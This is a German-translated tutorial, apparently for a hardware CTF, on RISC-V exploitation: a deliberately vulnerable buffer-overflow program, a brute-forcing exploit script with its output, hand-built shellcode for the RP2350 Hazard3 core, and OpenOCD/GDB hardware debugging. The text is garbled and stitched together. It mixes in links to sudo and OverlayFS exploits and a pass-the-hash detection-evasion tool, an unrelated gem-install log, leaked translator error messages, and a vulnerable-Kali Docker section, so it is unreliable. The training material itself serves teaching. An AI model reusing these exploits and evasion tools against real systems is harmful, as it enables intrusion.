<!-- /wp:list-item -->
<!-- wp:list-item -->
<li><strong><a href="https://github.com/blasty/CVE-2021-3156">SudoBaron</a></strong> - Heap-basierter Pufferüberlauf in sudo (<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-3156">CVE-2021-3156</a>)</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li><strong><a href="https://github.com/briskets/CVE-2021-3493">OverLayFS</a></strong> - Berechtigungseskalation über OverlayFS (<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-3493">CVE-2021-3493</a>)</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li><strong><a href="https://github.com/nepcode/RunasCs"><code>runascs</code></a></strong> - RunAsCs mit Pass-the-Hash (PtH) - Umgehung von Lateral Movement Detection (basierend auf <a href="https://github.com/antonioCoco/RunasCs">RunasCs</a>)</li>
<!-- /wp:list-item -->
</ul>
<!-- /wp:list -->
<!-- wp:paragraph -->
<p></p>
<!-- /wp:paragraph -->```
cd /home/dreg/RISCV/riscv-isa-sim
mkdir build
cd build
../configure --prefix=$RISCV --enable-histogram
make
make install
poc.c (/home/dreg/RISCV/poc.c)``` #include <stdio.h> int main() { printf("Hello Dreg RISCV!\n"); return 0; }
Kompiliere poc.c```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/riscv32-unknown-elf-gcc -march=rv32imac_zicsr_zifencei_zba_zbb_zbs -mabi=ilp32 -static -g poc.c -o poc
poc auf Spike ausführen``` cd /home/dreg/RISCV /home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
Die Ausgabe sollte sein:```
Hello Dreg RISCV!
Glückwunsch, Sie haben erfolgreich ein RISCV-Programm mit dem Spike-Emulator kompiliert und ausgeführt!
Debuggen der main-Funktion:``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/riscv32-unknown-elf-objdump -D poc
main-Funktion in meinem Fall bei 0x00010154```
.....
0001016a <main>:
1016a: 1141 addi sp,sp,-16
1016c: c606 sw ra,12(sp)
1016e: c422 sw s0,8(sp)
10170: 0800 addi s0,sp,16
10172: 67c9 lui a5,0x12
10174: 43c78513 addi a0,a5,1084 # 1243c <__errno+0x6>
10178: 26ad jal 104e2 <puts>
1017a: 4781 li a5,0
1017c: 853e mv a0,a5
1017e: 40b2 lw ra,12(sp)
10180: 4422 lw s0,8(sp)
10182: 0141 addi sp,sp,16
10184: 8082 ret
.....
EINGABE``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/spike -d --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
Im Spike-Debugger:```
(spike) until pc 0 0x0001016a
(spike) pc 0
0x0001016a
Jetzt befinden Sie sich am Anfang der main-Funktion. Drücken Sie die Eingabetaste, um die Anweisungen einzeln durchzugehen.``` (spike) core 0: 0x0001016a (0x00001141) c.addi sp, -16 (spike) core 0: 0x0001016c (0x0000c606) c.swsp ra, 12(sp) (spike) core 0: 0x0001016e (0x0000c422) c.swsp s0, 8(sp) (spike) core 0: 0x00010170 (0x00000800) c.addi4spn s0, sp, 16
Du kannst den Befehl `help` verwenden, um weitere Optionen zu sehen.
Spike ist ein SEHR einfacher Debugger, kombiniere also die externen Tools `riscv32-unknown-elf-objdump`, `dump` (Spike-Befehl) und `hexdump`, um Speicher und Code effektiver zu analysieren...
## Mieses POC-Beispiel
Ein mieses POC-Beispiel für die Ausnutzung eines klassischen Buffer Overflows auf RISCV Hazard3 mithilfe des Spike-Emulators.
Bei RISCV kann die Rücksprungadresse in einem Register statt wie bei x86 auf dem Stack gespeichert werden. Um das Überschreiben der Rücksprungadresse auf dem Stack zu ermöglichen, habe ich verschachtelte Funktionsaufrufe hinzugefügt, um die Rücksprungadresse auf den Stack zu legen.
test.c```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static unsigned char buff[0x100] = { 0 };
static void __attribute__((optimize("O0"))) func3(unsigned char* exbuff)
{
strcpy((char*)exbuff, (char*)buff);
}
static void __attribute__((optimize("O0"))) func2(unsigned char* exbuff)
{
func3(exbuff);
}
static void __attribute__((optimize("O0"))) func1(void)
{
unsigned char exbuff[10] = { 0 };
func2(exbuff);
}
static void __attribute__((optimize("O0"))) func_impossible(void)
{
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("good hacker!\n");
exit(0);
}
int main(int argc, char* argv[])
{
printf("\nhttps://github.com/therealdreg/hcon2026hwctf\n");
printf("Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg\n");
printf("func_impossible address: %p\n", func_impossible);
if (argc < 2)
{
printf("Error, must execute with one arg\n");
return 1;
}
printf("argv 1: %s\n", argv[1]);
strcpy((char*)buff, argv[1]);
func1();
return 0;
}
dotest.sh``` #!/usr/bin/env bash
set -x
RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"
CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
file test
spike --isa=$ISA_SPIKE "$PK" test AA
echo
spike --isa=$ISA_SPIKE "$PK" test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nach dotest.sh ist dies die Ausgabe```
....
+ spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs /home/dreg/RISCV/riscv32-unknown-elf/bin/pk test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101d2
argv 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
z 00000000 ra 41414141 sp 7ffffd20 gp 0001c810
tp 00000000 t0 000003e8 t1 0000006a t2 00000001
s0 41414141 s1 00000000 a0 7ffffd04 a1 0001c7c4
a2 7ffffd64 a3 00000000 a4 00000000 a5 00000041
a6 ffffffff a7 00000040 s2 00000000 s3 00000000
s4 00000000 s5 00000000 s6 00000000 s7 00000000
s8 00000000 s9 00000000 sA 00000000 sB 00000000
t3 00000000 t4 00000000 t5 00008801 t6 00000005
pc 41414140 va/inst 41414140 sr 80006020
User fetch segfault @ 0x41414140
Wie Sie sehen, haben wir den Puffer erfolgreich überlaufen lassen und den Programmzähler (pc) so kontrolliert, dass er auf 0x41414140 zeigt, was in ASCII 'AAAA' entspricht.
Nun erstellen wir das CRAP-PoC-Exploit-Payload, um die Ausführung auf die Funktion func_impossible umzuleiten.
Um das Exploit-Payload zu erstellen, müssen wir den korrekten Offset bestimmen, um die Rücksprungadresse zu überschreiben, und dann die Adresse der Funktion func_impossible anhängen.
xpl.sh``` #!/usr/bin/env bash
set -e
RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"
CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"
echo "[+] Compiling test.c..." $CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
echo "[+] Getting func_impossible address..." FUNC_ADDR=$(spike --isa=$ISA_SPIKE "$PK" test AA 2>&1 | grep "func_impossible address:" | awk '{print $3}')
if [ -z "$FUNC_ADDR" ]; then echo "[-] Error: Could not get func_impossible address" exit 1 fi
echo "[+] func_impossible address: $FUNC_ADDR"
ADDR_DEC=$((FUNC_ADDR)) BYTE1=$(printf '%02x' $((ADDR_DEC & 0xFF))) BYTE2=$(printf '%02x' $(((ADDR_DEC >> 8) & 0xFF))) BYTE3=$(printf '%02x' $(((ADDR_DEC >> 16) & 0xFF))) BYTE4=$(printf '%02x' $(((ADDR_DEC >> 24) & 0xFF)))
echo "[+] Address bytes (little-endian): \x$BYTE1 \x$BYTE2 \x$BYTE3 \x$BYTE4"
echo "[+] Starting bruteforce for offset..."
for OFFSET in {10..100}; do echo "[*] Testing offset: $OFFSET"
# Create payload with OFFSET bytes of 'A' + target address in little-endian
python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin
# Run spike and capture output
OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)
# Check if func_impossible was executed
if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
echo ""
echo "[+] SUCCESS! Offset found: $OFFSET"
echo "[+] Exploit payload saved to: exploit_payload.bin"
echo "[+] Target address: $FUNC_ADDR"
echo ""
echo "[+] Output:"
echo "$OUTPUT"
echo ""
echo "[+] To reproduce:"
SPIKE_PATH=$(which spike)
echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
exit 0
fi
done
echo "[-] Offset not found in range 10-100" exit 1
Beispielausgabe nach dem Ausführen von xpl.sh```
[+] Compiling test.c...
[+] Getting func_impossible address...
[+] func_impossible address: 0x101e2
[+] Address bytes (little-endian): \xe2 \x01 \x01 \x00
[+] Starting bruteforce for offset...
[*] Testing offset: 10
[*] Testing offset: 11
[*] Testing offset: 12
[*] Testing offset: 13
[*] Testing offset: 14
[*] Testing offset: 15
[*] Testing offset: 16
[*] Testing offset: 17
[*] Testing offset: 18
[*] Testing offset: 19
[*] Testing offset: 20
[*] Testing offset: 21
[+] SUCCESS! Offset found: 21
[+] Exploit payload saved to: exploit_payload.bin
[+] Target address: 0x101e2
[+] Output:
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101e2
argv 1: AAAAAAAAAAAAAAAAAAAAA�
�AAAAAAAAA�
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
good hacker!
[+] To reproduce:
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" test "$(cat exploit_payload.bin)"
hexdump -C exploit_payload.bin``` 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000010 41 41 41 41 41 e2 01 01 00 |AAAAA....|
`xpl.sh`-Skript ist ein CRAP-POC, das erfolgreich den Offset brute-forct, der benötigt wird, um die `func_impossible`-Funktion zu erreichen. Möglicherweise müssen Sie den Exploit anpassen oder modifizieren, um Ihren spezifischen Anforderungen zu entsprechen.
# Payload / Shellcode schreiben für RISCV Hazard3
Dieser Abschnitt demonstriert den Übergang von hochwertigem C-Code zu Rohbefehls-Shellcode für den Hazard3-RISC-V-Kern. Wir beginnen mit einem standardmäßigen Pico-SDK-Projekt und entfernen schrittweise Abstraktionen, bis wir rohen Maschinencode aus einem Byte-Array ausführen können.
Installieren Sie die Cross-Compilation-Toolchain und klonen Sie das Pico-SDK.```
# Install dependencies
sudo apt-get update
sudo apt-get install cmake python3 build-essential gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib git
sudo gem install arsenic && bundle install && gem install arsenic
[sudo] password for admin:
// Removed log for security purposes
// Building native extensions. This could take a while...
// Building native extensions. This could take a while...
// Successfully installed mylb-0.0.1
// Successfully installed arsenic-0.0.1
// 2 gems installed
**HINWEIS: Verwenden Sie sudo nur, wenn es von Ihrem Betriebssystem für die gem install benötigt wird.**
## <a id="usage"></a>🛸 Verwendung
> **Warnung**
> `arsenic` ermöglicht die sichere Ausführung von Testfällen gegen Ihre Ziel-Webdienste. Es kann jedoch, wie jedes Testwerkzeug, missbraucht werden. Stellen Sie sicher, dass Sie vor dem Testen Ihrer Ziel-Webanlagen eine ausdrückliche Genehmigung haben.
### Kommandozeile
Für Ungeduldige kann `arsenic` direkt über die Kommandozeile ausgeführt werden:
arsenic [options] -u <url> -d <dictionary> -t <type> -e <exporter>
Options:
-h, --help Show help
-v, --version Show version
Required Parameters:
-u, --url [URL] URL
-d, --dictionary [DICTIONARY] Wordlist used for type of scan
-t, --type [TYPE] Type of scan to run
-e, --exporter [EXPORTER] Exporter to use
Available Types:
brute Scan URL parameter keys
dir Scan directories
Available Exporters:
csv Export data to CSV
json Export data to JSON (default)
cd && mkdir ~/PAYLOAD
I don't see any content to translate. The input appears to be empty. Please provide the actual chunk content.```
# Clone SDK v2.2.0
cd ~/PAYLOAD
git clone --recursive --branch 2.2.0 https://github.com/raspberrypi/pico-sdk.git
Konfigurieren Sie das Projekt speziell für den RP2350 unter Verwendung der RISC-V-Architektur. Beachten Sie, dass wir die Plattform- und Toolchain-Versionen definieren, um die Kompatibilität zu gewährleisten.
Datei: `~/PAYLOAD/CMakeLists.txt```` set(PICO_PLATFORM rp2350-riscv) set(PICO_BOARD pico2 CACHE STRING "Board type") set(sdkVersion 2.2.0) set(toolchainVersion RISCV_ZCB_RPI_2_2_0_3)
cmake_minimum_required(VERSION 3.13...3.27)
include(pico-sdk/pico_sdk_init.cmake)
project(my_project)
pico_sdk_init()
add_executable(poc poc.c )
target_link_libraries(poc pico_stdlib)
pico_enable_stdio_usb(poc 1) pico_enable_stdio_uart(poc 0)
pico_add_extra_outputs(poc)
## Eine einfache C-Datei
Wir beginnen mit einem einfachen C-Programm, das einen GPIO umschaltet. Diese Version basiert auf externen SDK-Funktionen.
Datei: `~/PAYLOAD/poc.c````
#include <stdio.h>
#include "pico/stdlib.h"
static void __attribute__((optimize("O0"))) onled(void) {
gpio_put(25, 1);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
Kompilieren Sie das Projekt und untersuchen Sie die resultierende Binärdatei.``` cd ~/PAYLOAD/ rm -rf build/ && cmake -S . -B build && make -C build -j
Datei: `~/PAYLOAD/build/poc.elf````
~/PAYLOAD/build/poc.elf: ELF 32-bit LSB executable, UCB RISC-V, RVC, soft-float ABI, version 1 (SYSV), statically linked, with debug_info, not stripped
Wenn wir uns die Disassemblierung ansehen, können wir sehen, wie der Compiler die Funktionsaufrufe behandelt.
Datei: `~/PAYLOAD/build/poc.dis```` .... 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 2031 jal 10000146 <gpio_put> 1000013c: 0001 nop 1000013e: 40b2 lw ra,12(sp) 10000140: 4422 lw s0,8(sp) 10000142: 0141 addi sp,sp,16 10000144: 8082 ret .... 10000146 <gpio_put>: 10000146: 28a01533 bset a0,zero,a0 1000014a: d00007b7 lui a5,0xd0000 1000014e: c199 beqz a1,10000154 <gpio_put+0xe> 10000150: cf88 sw a0,24(a5) 10000152: 8082 ret 10000154: d388 sw a0,32(a5) 10000156: 8082 ret ....
## Eine C-Datei mit asm-Code (kein externer Aufruf)
Um ein eigenständiges Payload zu erstellen, müssen wir externe Sprünge vermeiden. Wir schreiben die Funktion mithilfe von Inline-Assembly neu, um direkt mit Hardware-Registern zu interagieren.
Datei: `~/PAYLOAD/poc_with_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
__attribute__((naked, optimize("O0"))) void onled(void) {
__asm__ volatile(
"addi sp, sp, -16\n\t"
"sw ra, 12(sp)\n\t"
"sw s0, 8(sp)\n\t"
"addi s0, sp, 16\n\t"
"li a1, 1\n\t"
"li a0, 25\n\t"
"bset a0, zero, a0\n\t"
"lui a5, 0xd0000\n\t"
"beqz a1, 1f\n\t"
"sw a0, 24(a5)\n\t"
"j 2f\n\t"
"1:\n\t"
"sw a0, 32(a5)\n\t"
"2:\n\t"
"nop\n\t"
"lw ra, 12(sp)\n\t"
"lw s0, 8(sp)\n\t"
"addi sp, sp, 16\n\t"
"ret\n\t"
);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
Nun zeigt die Disassemblierung, dass die Funktion jetzt vollständig eigenständig ist:
Datei: `~/PAYLOAD/build/poc_with_asm.dis```` 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 28a01533 bset a0,zero,a0 1000013e: d00007b7 lui a5,0xd0000 10000142: c199 beqz a1,10000148 <onled+0x1a> 10000144: cf88 sw a0,24(a5) 10000146: a011 j 1000014a <onled+0x1c> 10000148: d388 sw a0,32(a5) 1000014a: 0001 nop 1000014c: 40b2 lw ra,12(sp) 1000014e: 4422 lw s0,8(sp) 10000150: 0141 addi sp,sp,16 10000152: 8082 ret 10000154: 0001 nop
## Eine C-Datei mit Payload-Code / Shellcode-Stil
Extrahiere die Opcodes in ein Byte-Array und führe es aus, indem du es in einen Funktionszeiger umwandelst.
Datei: `~/PAYLOAD/poc_payload_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
unsigned char payload[] = {
"\x41\x11" // 1141
"\x06\xc6" // c606
"\x22\xc4" // c422
"\x00\x08" // 0800
"\x85\x45" // 4585
"\x65\x45" // 4565
"\x33\x15\xa0\x28" // 28a01533
"\xb7\x07\x00\xd0" // d00007b7
"\x99\xc1" // c199
"\x88\xcf" // cf88
"\x11\xa0" // a011
"\x88\xd3" // d388
"\x01\x00" // 0001
"\xb2\x40" // 40b2
"\x22\x44" // 4422
"\x41\x01" // 0141
"\x82\x80" // 8082
"\x01\x00" // 0001
};
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
((void (*)(void))(void*)payload)();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
((void (*)(void))(void*)payload)();
}
return 0;
}
Nach dem Erstellen können wir überprüfen, dass der Payload korrekt im Speicher abgebildet ist
Datei: `~/PAYLOAD/build/poc_payload_asm.dis```` 20000e74 : 20000e74: 1141 c606 c422 0800 4585 4565 1533 28a0 A..."....EeE3..( 20000e84: 07b7 d000 c199 cf88 a011 d388 0001 40b2 ...............@ 20000e94: 4422 0141 8082 0001 0000 0000 "DA.........
# Hardware-Debugging
Eine der Herausforderungen erfordert, dass du dich mit einem anderen Teilnehmer zusammentust oder zwei RP2350-Boards besitzt, um echtes Hardware-Debugging durchzuführen; lass uns lernen, wie das geht.
(Du musst pico-sdk installiert haben)
/etc/udev/rules.d/99-pico.rules```
# BOOTSEL mass storage
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0003", MODE:="0666"
# Pico normal mode (USB CDC/HID); útil para picotool
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0009", MODE:="0666"
# CMSIS-DAP probes (ej. RP Debug)
SUBSYSTEMS=="usb", ATTRS{idVendor}=="0d28", MODE:="0666"
/etc/udev/rules.d/99-openocd.rules```
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0003", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="000c", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="tty", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="000c", GROUP="dialout", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0004", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0d28", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3748", GROUP="plugdev", MODE="0660" # ST-Link V2 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="374b", GROUP="plugdev", MODE="0660" # ST-Link V2-1 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3752", GROUP="plugdev", MODE="0660" # ST-Link V3
SUBSYSTEM=="usb", ATTR{idVendor}=="1366", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", GROUP="plugdev", MODE="0660"
KERNEL=="hidraw*", ATTRS{idVendor}=="2e8a", MODE="0660", GROUP="plugdev" KERNEL=="hidraw*", ATTRS{idVendor}=="0d28", MODE="0660", GROUP="plugdev"
---```
sudo udevadm control -R
Zuerst musst du eine .uf2-RISCV-Firmware auf das Ziel-Board flashen. Da der CTF RISCV-Firmware verwendet, ist dieser Schritt nicht notwendig. Und außerdem willst du diese Firmware debuggen!
Wandle ein RP2350-Board mit dieser Firmware in ein Hardware-Debugger-Board um: https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2
Verbinde das Hardware-Debugger-Board mit dem Ziel-Board
Verbinde RISCV-openocd``` cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
Weitere Details```
/home/dreg/.pico-sdk/openocd/0.12.0+dev/openocd \
-s /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts \
-f interface/cmsis-dap.cfg \
-f target/rp2350-riscv.cfg \
-c "set USE_CORE { rv0 }" \
-c "adapter speed 5000" \
-c "gdb breakpoint_override hard" \
-c "init"
I'm ready to translate the provided chunk. However, the chunk content between "INPUT:" and "Output:" appears to be empty. There is no text to translate.
Please provide the actual Markdown content for chunk 153/179, and I'll translate it from English to German following all the specified rules.``` Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : [rp2350.rv0] Hardware thread awareness created Info : [rp2350.rv1] Hardware thread awareness created ocd_process_reset_inner rv0 adapter speed: 5000 kHz force hard breakpoints Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729 Info : CMSIS-DAP: SWD supported Info : CMSIS-DAP: Atomic commands supported Info : CMSIS-DAP: Test domain timer supported Info : CMSIS-DAP: FW Version = 2.0.0 Info : CMSIS-DAP: Interface Initialised (SWD) Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0 Info : CMSIS-DAP: Interface ready Info : clock speed 5000 kHz Info : SWD DPIDR 0x4c013477 Info : [rp2350.rv0] datacount=1 progbufsize=2 Info : [rp2350.rv0] Disabling abstract command reads from CSRs. Info : [rp2350.rv0] Disabling abstract command writes to CSRs. Info : [rp2350.rv0] Core 0 could not be made part of halt group 1. Info : [rp2350.rv0] Examined RISC-V core Info : [rp2350.rv0] XLEN=32, misa=0x40901105 Info : [rp2350.rv0] Examination succeed Info : [rp2350.rv1] datacount=1 progbufsize=2 Info : [rp2350.rv1] Disabling abstract command reads from CSRs. Info : [rp2350.rv1] Disabling abstract command writes to CSRs. Info : [rp2350.rv1] Core 1 could not be made part of halt group 1. Info : [rp2350.rv1] Examined RISC-V core Info : [rp2350.rv1] XLEN=32, misa=0x40901105 Info : [rp2350.rv1] Examination succeed Info : [rp2350.rv0] starting gdb server on 3333 Info : Listening on port 3333 for gdb connections Info : Listening on port 6666 for tcl connections Info : Listening on port 4444 for telnet connections
Verbinden Sie jetzt RISCV-GDB:```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb -q \
-ex "set pagination off" \
-ex "set remote interrupt-on-connect off" \
-ex "target remote localhost:3333" \
-ex "monitor targets rp2350.rv0" \
-ex "monitor halt" \
-ex "info reg"
I'm unable to translate this chunk because the source content is empty — the "INPUT:" section contains no text. Please provide the chunk's Markdown content, and I'll translate it into German.``` Remote debugging using localhost:3333 warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x20001d56 in ?? () rp2350.rv0 halted due to breakpoint. rp2350.rv1 halted due to debug-request. ra 0x2001041c 0x2001041c sp 0x20010400 0x20010400 gp 0x20031455 0x20031455 tp 0x0 0x0 t0 0x2000d7ba 536926138 t1 0x6a8c 27276 t2 0x200103a0 536937376 fp 0x20082000 0x20082000 s1 0x20010450 536937552 a0 0x0 0 a1 0x7232 29234 a2 0xffa00000 -6291456 a3 0x7206 29190 a4 0x0 0 a5 0xbdf0 48624 a6 0x7750 30544 a7 0x1 1 s2 0x10000036 268435510 s3 0x0 0 s4 0x0 0 s5 0x0 0 s6 0x0 0 s7 0x0 0 s8 0x0 0 s9 0x0 0 s10 0x0 0 s11 0x0 0 t3 0x200103d4 536937428 t4 0x0 0 t5 0x6b0c 27404 t6 0x74f8 29944 pc 0x20001d56 0x20001d56
Disas 10 Anweisungen vom aktuellen pc mit x/10i $pc:```
(gdb) x/10i $pc
=> 0x20001d56: lui a5,0x20031
0x20001d5a: lbu a5,-931(a5)
0x20001d5e: .insn 2, 0x9fe1
0x20001d60: xori a5,a5,1
0x20001d64: .insn 2, 0x9fe1
0x20001d66: bnez a5,0x20001d54
0x20001d68: li a0,2000
0x20001d6c: jal 0x20004ce2
0x20001d70: nop
0x20001d72: li a5,1
Ab diesem Punkt können Sie den Chip debuggen.
Kaufen Sie die Black Magic Debug Probe: mit JTAG-Kabel, 0.1-Zoll-UART-Kabel und 20-Pin-Adapter:
/etc/udev/rules.d/99-blackmagic-plugdev.rules```
ACTION!="add|change|bind", GOTO="blackmagic_rules_end" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}" SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess" SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess" LABEL="blackmagic_rules_end"
I'm ready to translate chunk 163, but I notice the input content is empty. There is no actual Markdown content provided after "INPUT:" to translate.
Please provide the chunk text to translate from English to German, and I'll proceed with the translation while following all the structural and formatting rules.```
sudo udevadm control -R
Aktualisierung:
Black Magic Debug für BMP (RISC-V-Ziele):```
./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:26:22Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:26:22Z INFO bmputil_cli] Upgrading probe firmware from 1.10.2 to 2.0.0
✔ Which firmware variant would you like to run on your probe? · Black Magic Debug for BMP (RISC-V targets)
✔ What action would you like to take with this firmware? · Flash to probe
Downloading requested firmware Found: Black Magic Probe 1.10.2
Serial: BEF6A9B0
Port: 1-3
Erasing flash...
Flashing...
100% |........................................................| 77.99 KiB/77.99 KiB [4.66 KiB/s 17s] [2026-01-08T13:26:49Z INFO bmputil::flasher] Flash complete!
Dieses Projekt erstellt einen verwundbaren Docker-Container für Bildungszwecke. Es basiert auf einer älteren Version von Kali Linux und enthält mehrere absichtliche Schwachstellen für Penetrationstest-Übungen.
Dieser Container ist absichtlich verwundbar. Stellen Sie ihn nicht in einer Produktionsumgebung bereit und setzen Sie ihn keinen unsicheren Netzwerken aus. Verwenden Sie ihn nur in isolierten Laborumgebungen.
Docker-Image erstellen:
docker build -t vulnerable-kali .
Container ausführen:
docker run -d -p 2222:22 --name vuln-kali vulnerable-kali
